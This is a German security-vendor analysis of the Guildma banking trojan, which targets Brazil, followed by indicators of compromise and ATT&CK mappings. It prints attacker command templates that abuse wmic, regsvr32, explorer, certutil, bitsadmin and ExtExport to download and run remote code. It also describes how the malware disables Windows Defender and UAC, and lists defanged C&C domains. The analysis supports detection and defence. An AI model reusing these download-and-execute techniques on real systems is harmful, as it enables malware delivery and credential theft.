Guildma – innovativer Bankentrojaner aus Lateinamerika | WeLiveSecurity

Guildma – innovativer Bankentrojaner aus Lateinamerika

Ein in Brasilien weitverbreiteter Bankentrojaner treibt sein Unwesen. Wir haben die Guildma-Malware analysiert und sind dabei auf einige interessante Fakten gestoßen.

Ein in Brasilien weitverbreiteter Bankentrojaner treibt sein Unwesen. Wir haben die Guildma-Malware analysiert und sind dabei auf einige interessante Fakten gestoßen.

In diesem Beitrag werfen wir einen Blick auf Guildma (aka Astaroth, mächtiger Dämon). In unserem Fall handelt es sich dabei um einen überhandnehmenden lateinamerikanischen Bankentrojaner. Die auf Brasilien abzielende Malware ist in Delphi geschrieben und verfügt über einige innovative Ausführungs- und Angriffstechniken.

Wir beschreiben hier eine jüngere Version und heben die auffälligsten Veränderungen im Vergleich zu Versionen von Mitte 2019 hervor. Damals gab es eine ganze Artikelflut über Guildma, weil die bis dato größte Kampagne lief.

Charakteristiken von Guildma

Guildma ist ein lateinamerikanischer Bankentrojaner, der sich bislang ausschließlich auf Brasilien beschränkt. Unseren ESET-Telemetriedaten zufolge und aus der zuteilwerdenden Aufmerksamkeit von der Presse schließen wir, dass es sich um den wirkungsvollsten Bankentrojaner in der Region handelt. Die Malware wird nicht nur gegen Finanzinstitute eingesetzt, sondern auch zum Diebstahl von Login-Daten von E-Mail-Accounts, E-Shops und Streaming-Services. Mindestens zehnmal mehr Opfer sind von Guildma betroffen, als im Vergleich zu irgendeinem anderen von uns beschriebenen lateinamerikanischen Bankentrojaner. Die Malware nutzt innovative Methoden der Programmausführung und komplexe Angriffstechniken.

Anders als von uns bereits beschriebene lateinamerikanische Bankentrojaner, speichert Guildma keine gefälschten Pop-up-Fenster innerhalb der Binary. Stattdessen wird der Angriff vom C&C-Server orchestriert. Das gibt den Malware-Angreifern eine größere Flexibilität, um auf Gegenmaßnahmen von betroffenen Banken zu reagieren.

Guildma bringt folgende Backdoor-Fähigkeiten mit:

  • Screenshots aufnehmen
  • Tastatureingaben aufzeichnen
  • Keyboard und Maus simulieren
  • Shortcuts blockieren (Verhindern des Schließens von Fake-Fenstern mithilfe von ALT+F4 )
  • Herunterladen und Ausführen von Dateien
  • Neustart des Computers

Guildma ist sehr modular aufgebaut. Zum Zeitpunkt der Erstellung dieses Artikels besteht es aus zehn Modulen – ausgenommen die Stufe der Verbreitung. Die Funktionen einzelner Module werden im weiteren Verlauf des Artikel erläutert.

Verlauf der Verbreitung von Guildma

ESET-Telemetriedaten ergaben, dass sich Guildma ausschließlich mithilfe von Spam-E-Mails mit schädlichem Anhang verbreitet. Hier sind einige Beispiele aus einer Malware-Kampagne von Mitte November des Jahres 2019.

Abbildung 1: Spam-Mail-Beispiel (Übersetzung: “Hallo, bitte erklären Sie mit diese Fotos. Ich warte auf eine Erklärung!”)

Abbildung 1: Spam-Mail-Beispiel (Übersetzung: “Hallo, bitte erklären Sie mir diese Fotos. Ich warte auf eine Erklärung!”)

Abbildung 2: Spam-Mail-Beispiel (Übersetzung: “Liebes Consórcio-Mitglied, anbei erhalten Sie den Angebotsnachweis zu 75432.”)

Abbildung 2: Spam-Mail-Beispiel (Übersetzung: “Liebes Consórcio-Mitglied, anbei erhalten Sie den Angebotsnachweis zu 75432.”)

Abbildung 3: Spam-Mail-Beispiel (Übersetzung: “Guten Morgen, Ich übersende Ihnen den Transfernachweis – DOC. Citibank”)

Abbildung 3: Spam-Mail-Beispiel (Übersetzung: “Guten Morgen, Ich übersende Ihnen den Transfernachweis – DOC. Citibank”)

Abbildung 4: Spam-Mail-Beispiel: Gefälschte Zahlungserinnerung gibt vor, dass eine Zahlung übermorgen fällig ist und dass die Bearbeitung der Zahlung bis zu 72 Stunden dauern kann.

Abbildung 4: Spam-Mail-Beispiel: Gefälschte Zahlungserinnerung gibt vor, dass eine Zahlung übermorgen fällig ist und dass die Bearbeitung der Zahlung bis zu 72 Stunden dauern kann.

Eines der bestimmenden Merkmale der Verbreitung von Guildma ist die Nutzung bereits im System vorhandener Tools, oft auf neue und ungewöhnliche Weise.

Eine weitere Eigenschaft ist die Wiederverwendung von Techniken. Von Zeit zu Zeit kommen neue Techniken hinzu, aber die Entwickler scheinen zum größten Teil einfach Techniken aus älteren Versionen wiederzuverwenden.

Abbildung 5: Verbreitungskette der Guildma Version 150

Abbildung 5: Verbreitungskette der Guildma Version 150

Abbildung 5 zeigt ein Schema der Verbreitung von  Guildma Version 150. Allerdings gestaltet sich diese Verbreitungskette sehr dynamisch. In vorherigen Versionen war die schädliche LNK-Datei beispielsweise nicht in einem ZIP-Archiv eingebettet. Oder ein SFX RAR-Archiv, das ein MSI-Installationsprogramm enthält, wurde stattdessen verwendet. Außerdem gab es früher eine weitere JScript-Stufe, deren einziger Zweck das Herunterladen und Ausführen der finalen JScript-Stufe war. Insgesamt gab es eine Reihe von Änderungen, deren Erläuterungen den Rahmen dieses Artikels sprengen würden. Tatsächlich ist der einzige Teil, der größtenteils gleich blieb, die finale JScript-Stufe.

Mit den Daten aus einer langfristigen Beobachtung dieser Malware-Familie konnten wir uns ein sehr gutes Bild über die Tätigkeiten von Guildma verschaffen.

Abbildung 6 zeigt alle ESET-Erkennungen der Guildmas First-Stage-Komponente. Man erkennt, dass der Kampagnenumfang langsam ansteigt, um dann im August 2019 in einen Höhepunkt zu münden – als wir bis zu 50.000 Samples pro Tag beobachteten. Diese Kampagne dauerte nahezu zwei Monate und zahlenmäßig machte sie mehr als das doppelte aus, als in den zehn Monaten zuvor.

Abbildung 6: First-Stage Guildma-Erkennungen seit Oktober 2018

Abbildung 6: First-Stage Guildma-Erkennungen seit Oktober 2018

Im Folgenden fassen wir einige der interessanteren Entdeckungen aus den vergangenen 14 Monaten zusammen.

Ausführung der JScript-Stufe

Über das vergangene Jahr nutzte Guildma verschiedene Methoden zur Ausführung der JScript-Stufen während der Verbreitung. Gegen Ende des Jahres 2018 versteckte Guildma den eigenen Code in “eXtensible Stylesheet Language” (.xsl) Dateien und benutzte wmic.exe, um diese herunterzuladen und auszuführen:

wmic.exe <wmic query> /format:“<URL>“

Dann wurde schnell dazu übergegangen, regsvr32.exe und scrobj.dll zum Herunterladen eines JScript-implementiertes COM-Objekt zu benutzen und schlussendlich die Registrierungs-Routine auszuführen (enthält den Schadcode):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

In jüngster Zeit begannen die Malware-Entwickler den Windows-Explorer für ihre Zwecke zu missbrauchen, um die JScript-Stufe auszuführen. Diese Attacke basiert darauf, dass der Windows Explorer versuchen wird, jede ihm übergebene Datei  in der Commandline mithilfe des entsprechenden Programms zu öffnen und außerdem darauf, dass die Standardzuordnung für .js-Dateien der Microsoft Windows Script Host ist. Das “Script”, welches an den Windows Explorer übergeben wird, besteht aus einer einzelnen Befehlszeile, mit der Absicht, die eigentliche JScript-Stufe herunterzuladen und auszuführen:

echo GetObject(’script:<URL>‘) > <file>.js | explorer.exe <random switches> <file>.js

Ausführung der Binary-Module

Die Methoden zur Ausführung der PE-Module sind nicht weniger vielfältig.

Als wir mit der Nachverfolgung von Guildma starteten, bemerkten wir die missbräuchliche Verwendung von Avasts aswRunDll.exe, um die erste Binary-Stufe zu laden – regsvr32.exe diente dabei als Failover auf Computern ohne Avast. Die Benutzung von aswRunDll.exe wurde alsbald eingestellt und regsvr.exe blieb als einzige Ausführungsmethode übrig. Nach einer kurzen Nutzungszeit von rundll32.exe gingen die Guildma-Entwicklicker schließlich zur aktuellen Ausführungsmethode mithilfe von ExtExport.exe über.

ExtExport.exe ist eine nicht weiter dokumentierte Komponente des Microsoft Internet Explorers, die dem Export von Bookmarks aus Mozilla Firefox und 360 Secure Browser dient und via DLL Side-Loading missbraucht werden kann. Wenn der folgende Befehl ausgeführt wird, werden mozcrt19.dll, mozsqlite3.dll und sqlite3.dll aus dem in der Befehlszeile angegebenen Ordner geladen:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Um das zu missbrauchen, würde man normalerweise die zu ladende DLL als eine der oben genannten ablegen; Guildma nutzt aber alle drei.

Download der Binary-Module

Guildma nutzte auch einige verschiedene Möglichkeiten zum Herunterladen der Binary-Module. In der ersten Version wurde certutil.exe nach certis.exe kopiert (vermutlich, um Entdeckungen zu entgehen):

certis.exe -urlcache -split -f „<URL>“ „<destination path>“

Die Malware-Entwickler wechselten später zu BITSAdmin – dem Microsoft Background Intelligent Transfer Service Management Tool – und nutzten dieses Tool bis zum Zeitpunkt der Erstellung dieses Artikels:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Einige Monate lang wurden die Binary-Module base64-kodiert und in der Google Cloud gehostet. In dieser Zeit benutzte Guildma sowohl BITSAdmin als auch certutil – BITSAdmin zum Herunterladen und certutil zum Entschlüsseln der Module.

Andere Änderungen bei Guildma

Guildma nutzt seltsame, nicht beschreibende Variablen und Funktionsnamen. Als wir mit dem Tracking begannen, ergaben die Bezeichnungen zwar keinen Sinn, waren aber dennoch von Menschenhand gemacht (z.B. „radador“ für die Zufallszahl-Funktion oder „Bxaki“ für die Download-Funktion). Im Juni 2019 wurden alle Variablen und Funktionsnamen in zufällig erscheinende Namen geändert (z.B. „bx021“ und „mrc430„). Zuerst dachten wir, die Malware-Entwickler hätten eine Art automatisierten Skript-Verschleierungsmechanismus implementiert, aber es stellte sich heraus, dass es sich um eine einmalige Änderung handelte. Die Namen sind seither gleichgeblieben.

Eine relativ neue Ergänzung ist die uralte Technik der Verwendung von ADS (Alternate Data Streams) zur Speicherung der Binary-Module. Alle Module werden jetzt als ADS einer einzigen Datei gespeichert (z.B. „desktop.ini:nauwuygiaa.jpg„, „desktop.ini:nauwuygiab.jpg„, usw.).

Versionsverlauf von Guildma

Obwohl Guildma einige Versionen aufweist, sind die Entwicklungssprünge zwischen den einzelnen Versionen recht klein. Aufgrund der klobigen Architektur, die fest kodierte Konfigurationswerte verwendet, müssen die Malware-Entwickler in den meisten Fällen alle Binärdateien für jede neue Kampagne neu kompilieren. Das ist ein eindeutig nicht vollständig automatisierter Aufwand, da es oft eine erhebliche Verzögerung zwischen der Aktualisierung der Versionsnummer in den Skripten und in den Binärdateien gibt.

Dieser Artikel baut auf Guildma Version 150 auf. Seitdem sind aber bereits zwei weitere Versionen erschienen. Allerdings enthalten diese keine wesentlichen Änderungen in Bezug auf Funktionalität oder Verbreitungsmechanismus, was unsere Behauptungen über den Entwicklungszyklus von Guildma stützen.

Die letzte Stufe der Verbreitungskette enthielt früher einen Versionsnamen, aber dieser wurde (vermutlich) seit Version 148 dauerhaft durch ein einfaches „xXx“ ersetzt.

Tabelle 1 fasst alle Versionen zusammen, die seit Beginn unser aktiven Verfolgung von Guildma im Oktober 2018 veröffentlicht wurden. Wenn wir uns den Versionsverlauf ansehen, beschleicht uns das Gefühl, dass die Malware-Entwickler eine Leidenschaft für Ökologie und schnelle Autos hegen.

Table 1. Guildma Versionsverlauf

First seenVersion numberVersion nameVersion prefix
2018-09-18131131_SUPER_Teslamarxvxinhhm
2018-10-31132132_ULTRA_Teslasrsysddirrx
2018-11-28133133_TORRE_DE_Teslamxgetronicosxy
2018-11-29134134_MAXX_TESLAsdwqiopawsamazon
2018-12-03135135_MOAB_TESLAslu769tsla
2018-12-13136136_KRAKEN_TESLAslrdsnhrxxfery
2019-02-06137137_RAPTOR_TESLAsrakpat0rpcack
2019-03-21138138_RAPTOR_TESLAs_hillwd763free
2019-05-20139139_TESLA_falxconxrenw
2019-06-03140140_ASTH_valehraysystqx
2019-06-24141141_T3SL4S_ayt3ese4xw
2019-07-17142142_T3SL4S_halawxtz
2019-08-09143143_T3SL4S_asmonnwqk
2019-08-26144144_MULT1T3SL4S_daffsyshqy
2019-09-26145145_MULT1T3SL4S_landoqeahjky
2019-10-16146146_MULT1T3SL4S_valkanxpca
2019-11-04147147_MULT1T3SL4S_koddsuffy
2019-11-19148xXxlpquayevvt
2019-11-22149nauwuygia
2019-12-13150andrealfo
2020-01-14151balberith
2020-02-05152masihaddajjal

Übersicht über die Guildma-Module

Wie weiter oben bereits erwähnt, ist Guildma insgesamt sehr modular aufgebaut – die Struktur der einzelnen Module scheint weitestgehend konstant zu sein. In diesem Abschnitt gehen wir kurz auf die Funktionen der einzelnen Module ein.

Alle Modulnamen setzen sich aus einem gemeinsamen, versionsabhängigen Präfix und einem modulspezifischen Suffix zusammen. In Tabelle 2 ist das versionsabhängige Präfix andrealfo.

Table 2. Guildma-Module im Überblick

URL filenameFilesystem filenameModule
andrealfohh1a.dll.zipandrealfo64.~
Main module loader 1 (part 1)
andrealfohh1b.dll.zipMain module loader 1 (part 2)
andrealfoxa.gif.zip
andrealfoxa.gif
Main module injector (part 1)
andrealfoxb.gif.zipandrealfoxb.gifMain module injector (part 2)
andrealfoxc.gif.zip
andrealfoxc.gifMain module injector (part 3)
andrealfogx.gif.zip
andrealfogx.gifMain module loader 2
andrealfog.gif.zip
andrealfog.gifMain module
andrealfoc.jpg.zip
andrealfoc.jpgContacts stealer and form grabber module
andrealfodwwn.gif.zip
andrealfodwwn.gifRAT module (DLL)
andrealfodx.gif.zip
andrealfodx.gifRAT module (EXE)
andrealfoa.jpg.zip
andrealfoa.jpgMailPassView
andrealfob.jpg.zip
andrealfob.jpgWebBrowserPassView
andrealfoi.gif.zip
andrealfoi.gifJScript dropper module

Mit Ausnahme des Hauptmodul-Loaders 1 (*64.~) und des Hauptmodul-Injectors (*xa.gif, *xb.gif und *xc.gif) werden alle Module mithilfe einer einfachen XOR-Chiffre unter Verwendung eines sich wiederholenden 32-Byte-Schlüssels verschlüsselt. Der Schlüssel wird aus einem 32-Bit-Seed unter Verwendung des in Abbildung 7 dargestellten Algorithmus generiert. Der Seed-Wert liegt verschleiert in den Binärdateien, um eine einfache Extraktion zu verhindern (siehe Abbildung 8).

Abbildung 7: Algorithmus der Schlüsselerzeugung

Abbildung 7: Algorithmus der Schlüsselerzeugung

Abbildung 8: Seed-Verschleierung in der Binary

Abbildung 8: Seed-Verschleierung in der Binary

Drei Module kommunizieren mit einem C&C-Server: das Hauptmodul, das RAT Modul und ein Contact Stealer/Form Grabber. Die Kommunikation erfolgt über HTTP(S) unter Verwendung einer Kombination aus base64 und verschiedenen einfachen benutzerdefinierten Verschlüsselungsalgorithmen zum Schutz der übertragenen Daten.

Im folgenden Abschnitt beschreiben wir, wie die C&C-Serveradresse ermittelt wird.

Hauptmodul Loader 1 (*64.~)

Das ist die erste Binary-Stufe der Kette. Dabei handelt es sich um eine DLL-Datei, die in zwei Teilen heruntergeladen wird und durch die vorherige JScript-Stufe verkettet wird. Die DLL lädt drei weitere Dateien, bestehend aus den Lodern der nächsten Stufe (*xa.gif, *xb.gif und *xc.gif), die wiederum verknüpft werden. Die resultierende PE-Datei wird im eigenen Adressraum abgebildet und ausgeführt.

Das Laden einer PE-Datei ist ein relativ komplexer Prozess, deshalb nutzten die Malware-Entwickler die BTMemoryModul Open-source Bibliothek für diesen Zweck.

Hauptmodul Injector (*xa.gif, *xb.gif und *xc.gif)

Dieses Modul lädt die nächste Stufe (*gx.gif) von der Festplatte und entschlüsselt diese. Dann wird die erste .exe aus der folgenden Liste ausgeführt und die entschlüsselte Nutzlast in sie eingespeist.

  1. C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  2. C:\Program Files\Diebold\Warsaw\unins000.exe *
  3. C:\Windows\SysWOW64\userinit.exe
  4. C:\Windows\System32\userinit.exe

* Eine in Brasilien beliebte Anwendung zum Schutz des Online-Banking-Zugangs.

Hauptmodul Loader 2 (*gx.gif)

Die letzte Loader-Stufe ist recht simple und scheint die Funktionalität des Hauptmodul Loaders 1 unnötig zu duplizieren. Es lädt und entschlüsselt das Hauptmodul (*g.gif), mappt es in den eigenen Speicherplatz und führt es aus.

Hauptmodul (*g.gif)

Das Hauptmodul von Guildma orchestriert alle übrigen Module. Dessen Implementierung ist täuschend komplex, da es unzählige Timer und Ereignisse verwendet, aber dessen Funktionalität eigentlich relativ einfach ist. Es enthält sowohl nicht mehr benötigten Legacy Code, als auch Pre-production Code, der noch nicht verwendet wird.

Beim Laden des Moduls überprüft Guildma, ob es in einer Sandbox-Umgebung ausgeführt wird (zum Beispiel durch Untersuchung des Computernamens und der Festplatten-ID), ob es bereits andere, eigene laufende Instanzen gibt (basierend auf Fensternamen) und ob das Systemgebietsschema von Portugiesisch abweicht. Wenn eine Überprüfung ergibt, dass das System unrelevant ist oder bereits durch Guildma kompromittiert wurde, beendet sich die Malware.

Andernfalls sammelt die Schadsoftware Informationen über das Computersystem (wie Computername, verwendete Sicherheitssoftware, installierte Programme, …) und baut den Kontakt mit dem C&C-Server auf. Darauf hin beginnt Guildma, interessante Ereignisse zu überwachen, wie beispielsweise das Öffnen bestimmter Apps oder Besuche von Online-Banking Webseiten und damit verbundene Aktionen. Die Malware kann z.B. Screenshots aufnehmen, Benutzer am Schließen von Fenstern hindern, das RAT-Modul starten, usw.

Das Hauptmodul führt auch Backdoor-Befehle aus, dessen Funktionsumfang sich größtenteils mit dem RAT-Modul überschneidet.

Contact Stealer / Form Grabber (*c.jpg)

Dieses Modul besitzt zwei Funktionen – das Sammeln von E-Mail-Adressen und Formulardaten von Webseiten.

Es erbeutet E-Mail-Adressen von Desktop-E-Mail-Clients (wie MS Outlook, ThunderBird und The Bat!), indem Adressbücher und E-Mails analysiert werden.

Der Formular-Grabber verwendet die Windows-COM-Technologie zur Interaktion mit dem Internet Explorer. Dieser wartet, bis eine Zielseite geöffnet wird (meist brasilianische Webmailer, E-Shops und Zahlungsgateways) und loggt den Benutzer dann aus. Das Opfer wird quasi zur Eingabe der Zugangsdaten gezwungen. Form Grabber ruft darauf hin das DOM ab und sucht nach wichtigen Eingabefelder-Werten (wie Benutzernamen, Passwörter und Kreditkartennummern).

RAT-Modul (*dwwn.gif, *dx.gif)

Das RAT-Modul erscheint in zwei funktionell identischen Zusammenstellungen – DLL (*dwwn.gif) und EXE (*.dx.gif).

Es realisiert Downloads und Programmausführungen, nimmt Screenshots auf, simuliert Maus und Tastatureingaben und startet den Computer bei Bedarf neu.

Die meisten lateinamerikanischen Bankentrojaner blenden gefälschte Pop-up-Fenster ein, die auf der Überwachung des Namens des aktiven Fensters basieren. Diese Fenster werden normalerweise in der Binary gespeichert. Wir fanden in Guildma solchen Code nicht, aber das RAT-Modul enthält ein Delphi-Formular, das einen simplen Webbrowser implementiert. Da es auch auf der Grundlage des aktiven Fensternamens ausgeführt wird, gehen wir davon aus, dass dieses Formular der Anzeige gefälschter Dialoge für User dient.

MailPassView (*a.jpg) und BrowserPassView (*b.jpg)

Hierbei handelt es sich um Freeware-Tools von Nirsoft. Damit lassen sich gespeicherte Anmeldedaten aus gängigen E-Mail-Clients und Web-Browsern extrahieren. Da Nirsoft die Unterstützung für stille Operationen (Ausgabe in eine Datei, ohne GUI) in neueren Versionen entfernte, um den Missbrauch dieser Tools durch Malware einzudämmen, verwendeten die Guildma-Malware-Entwickler ältere Versionen. Dieselben Tools werden auch von Mispadu genutzt, mit dem Unterschied, dass Mispadu neuere Versionen mit wieder eingebauter Funktion der „stillen Operation“ einsetzt.

JScript Dropper Module (*i.gif)

Dieses Modul legt eine JScript-Datei ab und führt diese aus (unter Verwendung von cscript.exe). Das Skript besteht aus zwei Teilen – der erste Teil wird als eine lange verschlüsselte Zeichenfolge gespeichert, während der zweite Teil sich aus vielen kurzen Zeichenfolgen (teils verschlüsselt und teils im Klartext) zusammensetzt. Bemerkenswert ist die Tatsache, dass die Zeichenketten in der abgelegten JScript-Datei von diesem Dropper-Modul mit einem zufällig generierten Schlüssel verschlüsselt werden, so dass sie im Dropper im Klartext vorliegen.

Das Skript führt die folgenden Aktionen aus:

  • Deaktivieren von UAC
  • Deaktivieren der EXE Signature-Überprüfung
  • Deaktivieren von Windows Defender
  • Erstellt eine Firewall-Regel, die den Netzwerkzugriff für C:\Program Files\AVAST Software\Avast\Setup\avast.setup deaktiviert
  • Deaktiviert wsddntf-Treiber (Diebold Warsaw GAS Tecnologia – die früher eingeführte Software zum Schutz des Online-Banking-Zugangs)
  • Fügt eine Firewallausnahme für Dateien hinzu, die als „Injection Targets“ verwendet werden
    • C:\Program Files\Diebold\Warsaw\unins000.exe
    • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Da dieses Modul auf unseren Testmaschinen keinerlei Script ablegte, gehen wir davon aus, dass es sich noch im Entwicklungsstatus befindet.

Neue Entwicklungen ab Mitte 2019

Alternativer Abruf der C&C-Serveradressen

Ab Version 142 implementierten die Malware-Entwickler eine neue Art und Weise, die C&C-Serveradressen abzurufen – sie nutzten Facebook- und YouTube-Profile. Von Facebook kehrten sie alsbald wieder ab. Seit der Erstellung dieses Artikels verlassen sie sich auf YouTube-Profile. Das Ganze weist Ähnlichkeiten zu Casbaneiro auf, nur dass es sich bei Guildma etwas weniger raffiniert gestaltet. Während bei Casbaneiro die Daten in Videobeschreibungen versteckt und als Teil einer URL verschleiert wurden, sind die Daten für Guildma einfach in der YouTube-Kanalbeschreibung hinterlegt – wenn auch verschlüsselt. Anfang und Ende sind mit „|||“ markiert. Die Zeichenfolge dazwischen ist base64-codiert und wird mithilfe von Mispadus „String Encryption Algorithm“ entschlüsselt. Neben dieser primären Methode existiert auch noch die alte als Backup.

Abbildung 9: Bei YouTube hinterlegte verschlüsselte Guildma C&C-Server-Adressen

Abbildung 9: Bei YouTube hinterlegte verschlüsselte Guildma C&C-Server-Adressen

Hinzugefügte und entfernte Module

Das weiter oben beschriebene JScript Dropper Modul fügten die Guildma-Entwickler in Version 145 hinzu. Umgekehrt entfernte man in Version 139 zwei Module – den Mass-Mailer (*f.jpg) und den Loader (*e.jpg). In den folgenden Versionen, waren die Module noch immer über ihre erwartbaren Namen (<version prefix>e.jpg and <version prefix>f.jpg) vom Server abrufbar, wie andere Module auch. Diese Module sind nach unseren Vermutungen noch in der Entwicklung, und bei Bedarf ausspielbar – mutmaßlich mithilfe von Backdoor-Befehlen zum Herunterladen und Ausführen.

Neue String Encryption

Das JScript Dropper Modul brachte einen neuen String-Verschlüsselungsalgorithmus mit sich. Eine Variante dieses Algorithmus (Abbildung 10) kam in der Version 147 in anderen Modulen zum Einsatz.

Abbildung 10: Neuer String-Verschlüsselungsalgorithmus

Ursprünglich benutzte Guildma die gleiche String Encryption wie Casbaneiro. Der neue Algorithmus besteht aus vier Stufen. Der ursprüngliche Algorithmus dient der String-Verschlüsselung immer noch als erste Stufe. In der vierten Stufe greift man wiederum auf den Verschlüsselungsalgorithmus von Mispadu zurück.

In Version 148 hat Guildma eine String-Tabelle implementiert; alle Strings werden zu Beginn der Ausführung entschlüsselt und bei Bedarf aus der Tabelle heraus aufgerufen.

Entfernung von internationalen Angriffszielen

In Version 138 implementierten die Guildma-Entwickler die Möglichkeit, auch Einrichtungen (hauptsächlich Online-Banken) außerhalb Brasiliens zu attackieren. Trotzdem beobachteten wir keine internationalen Malware-Kampagnen. Die Kampagnen, die Dateien auf der Infrastruktur von Cloudflare Workers bereithielten, gingen sogar so weit, dass diese Downloads von nicht-brasilianischen IPs blockierten. Tatsächlich sahen wir in den letzten 14 Monaten keine Guildma-Kampagne, die sich an Nutzer außerhalb Brasiliens richtete.

In der Version 145 verzichtete man dann ganz auf die Möglichkeit, Institutionen außerhalb Brasiliens anzugreifen. Wir gehen deshalb davon aus, dass es sich bei diesem Feature also lediglich um eine in der Entwicklung befindliche Funktion handelte, die schließlich gestrichen wurde.

Fazit

In diesem Beitrag erläuterten wir einige interessante Fakten zu Guildma, einem derzeit in Brasilien weitverbreiteten lateinamerikanischen Bankentrojaner. Wir zeigten den umfangreichen Versionsverlauf und konzentrierten uns in der näheren Beschreibung auf eine der neusten Versionen.

Guildma zeigt die typischen Merkmale eines lateinamerikanischen Bankentrojaners: in Delphi geschrieben, regional ausgerichtet, implementierte Backdoor-Funktion, Funktionen auf Module verteilt und Missbrauch von legitimen Tools.

Eine interessante Gemeinsamkeit zu bevor beschriebenen gleichartigen Malware-Familien ist die Kombination des Verschlüsselungsalgorithmus, bestehend aus jenen Algorithmen, die von Casbaneiro und Mispadu verwendet werden.

Indicators of Compromise (IoCs)

Hashes

SHA-1DescriptionESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776Main module loader 1Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cfMain module injectorWin32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1Main module loader 2Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0dMain moduleWin32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8ccContacts stealer and form grabberWin32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daffRAT module (DLL)Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57RAT module (EXE)Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2dMailPassViewWin32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cdWebBrowserPassViewWin32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5fJScript dropper moduleWin32/Spy.Guildma.BP

Filenames

C:\Users\Public\Libraries\qlanl\*

Startup link

  • Location

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Targets

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

C&C servers

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

MITRE ATT&CK techniques

TacticIDNameDescription
Initial AccessT1193Spearphishing AttachmentGuildma distribution chains start with a malicious email attachment.
ExecutionT1073Rundll32Guildma utilizes rundll32.exe to execute its binary modules.
T1047Windows Management InstrumentationGuildma abuses WMIC.exe to execute some of its distribution chain stages.
PersistenceT1060Registry Run Keys / Startup FolderGuildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense EvasionT1197BITS JobsBITSAdmin.exe is used to download binary modules.
T1089Disabling Security ToolsGuildma disables Windows Defender.
T1140Deobfuscate/Decode Files or InformationThe majority of Guildma modules need to be decrypted after downloading.
T1073DLL Side-LoadingGuildma abuses ExtExport.exe for DLL Side-Loading.
T1096NTFS File AttributesGuildma utilizes ADS to hide its modules on disk.
T1055Process InjectionGuildma utilizes process injection when executing its modules.
T1064ScriptingGuildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220XSL Script ProcessingGuildma utilizes XSL script(s) in its distribution chains.
Credential AccessT1081Credentials in FilesGuildma extracts credentials stored by web browsers and email clients in files.
T1214Credentials in RegistryGuildma extracts credentials stored by web browsers and email clients in Windows Registry.
DiscoveryT1083File and Directory DiscoveryGuildma uses presence of certain files to determine whether banking and security tools are installed.
T1010Application Window DiscoveryGuildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063Security Software DiscoveryGuildma detects the presence of several security products.
T1082System Information DiscoveryGuildma collects OS version and bitness, computer name and system locale.
T1497Virtualization/Sandbox EvasionGuildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
CollectionT1113Screen CaptureGuildma is capable of taking screenshots.
Command and ControlT1024Custom Cryptographic ProtocolNew C&C addresses are encrypted using custom encryption algorithms.
ExfiltrationT1041Exfiltration Over Command and Control ChannelGuildma uploads screenshots and log files to the C&C server.

Hier können Sie mitdiskutieren